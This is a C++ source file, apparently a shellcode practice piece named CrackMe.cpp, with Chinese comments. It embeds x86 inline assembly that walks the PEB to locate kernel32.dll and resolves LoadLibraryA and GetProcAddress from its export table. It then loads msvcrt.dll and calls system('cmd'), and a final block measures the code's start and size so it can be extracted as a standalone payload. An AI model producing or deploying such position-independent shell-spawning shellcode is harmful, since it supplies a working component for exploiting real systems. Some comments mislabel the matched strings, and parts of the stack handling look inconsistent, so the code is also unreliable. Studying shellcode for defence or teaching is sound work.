// CrackMe.cpp : 定義控制台應用程式的入口點。
//
#include "stdafx.h"
#include<iostream>
#include <stdio.h>
#include<Windows.h>
using namespace std;
int main()
{
goto shellEnd;
_asm
{
shellCode:
pushad;
pushfd;
push ebp;
;獲得PEB位址
mov eax,fs:[30h]
;獲得LDR位址
mov eax,[eax+0ch];
;獲得Flink的位址
mov eax,[eax+14h];
searchDll:
;儲存目前Flink
mov ecx,eax
;獲得LDR_DATA_TABLE_ENTRY位址
sub eax,8;
;獲得第一個子產品的dllBase
mov eax,[eax+18h]
;儲存基址
mov ebp,eax
;獲得PE頭部
mov eax,[eax+3ch]
;獲得導出表的偏移量
mov eax,[ebp+eax+78h]
;獲得導出表位址
add eax,ebp
;儲存導出表的位址
mov edx,eax
;獲得dllname偏移量
mov ebx,[edx+0ch]
;恢複eax中的Flink
mov eax,ecx
;獲得下一個Flink
mov eax,[eax]
;獲得dllname位址
add ebx,ebp
mov ecx,4e52454Bh //;'NREK'
cmp [ebx],ecx
jnz searchDll
mov ecx,32334C45h;'23EL'
cmp [ebx+4],ecx;
jnz searchDll
mov ecx,6c6c642eh;'lld.'
cmp [ebx+8],ecx
jnz searchDll;
;獲得導出表函數名稱數組基址,ebp中是kernel32的基址,edx則是導出表的偏移量
mov ebx,[edx+20h]
;獲得導出表位址
add ebx,ebp
;獲得名稱函數個數
mov ecx,[edx+18h]
;壓入ecx和ebx
push ecx
push ebx;
searchLoadLibrary:
dec ecx;
;倒序得出輸出函數的函數名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,64616f4ch;
cmp [esi],eax
jnz searchLoadLibrary;
mov eax,7262694ch
cmp [esi+4],eax
jnz searchLoadLibrary
mov eax,41797261h
cmp [esi+8],eax
jnz searchLoadLibrary;
;找到了函數名稱"LoadLibraryA",ecx即是函數序号數組中的索引
;找到輸出表中的函數序号數組位址偏移量
mov ebx,[edx+24h]
;獲得函數序号數組位址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到輸出表函數位址偏移
mov ebx,[edx+1ch]
;找到輸出表函數數組位址
add ebx,ebp
mov eax,[ebx+ecx*4]
;獲得函數"LoadLibraryA"位址
add eax,ebp;
push eax;将LoadLibraryA位址壓入堆棧
;開始查找GetProcAddress的位址
pop eax;
pop ebx;
pop ecx;
push eax
;将LoadLibraryA函數位址壓入堆棧
searchProc:
dec ecx;
;倒序得出輸出函數的函數名
mov esi,[ebx+ecx*4]
add esi,ebp
mov eax,50746547h;'Pegt'
cmp [esi],eax
jnz searchProc;
mov eax,41636F72H;'Acor'
cmp [esi+4],eax
jnz searchProc
;找到了函數名稱"GetProcAddress",ecx即是函數序号數組中的索引
;找到輸出表中的函數序号數組位址偏移量
mov ebx,[edx+24h]
;獲得函數序号數組位址
add ebx,ebp;
mov cx,[ebx+ecx*2]
;找到輸出表函數位址偏移
mov ebx,[edx+1ch]
;找到輸出表函數數組位址
add ebx,ebp
mov eax,[ebx+ecx*4]
;獲得函數"GetProcAddress"位址
add eax,ebp;eax中是GetProcAddress的位址
mov esi,eax
pop ebx;;ebx中是LoadLibraryA的位址
pop ebp;
;到此堆棧是空的;
;開始獲得system的函數位址
;壓入'msvcrt.dll'
;平衡堆棧
push 0;
push 6c6ch
push 642e7472h;'d.tr'
push 6376736dh;'cvsm'
mov ebp,esp;
push 0;
push ebp;
call ebx;
//平衡堆棧
add esp,20
;eax中是msvcrt.dll的基位址,下面獲得system的位址
push 0;
push 6d65h;'ms'
push 74737973h;'tsys'
mov ebx,esp;
push 0;
push ebx
push eax;
call esi; 已經獲得了system的位址
;平衡堆棧
add esp,10h
push 0;
push 646d63h
mov ebx,esp;
push 0;
push ebx;
call eax;
add esp,10h
pop ebp;
popfd;
popad;
}
shellEnd:
char *strShell=NULL;
int dwShellSize=0;
_asm
{
lea eax,shellCode;
lea ebx,shellEnd;
mov strShell,eax
sub ebx,eax;
mov dwShellSize,ebx;
}
}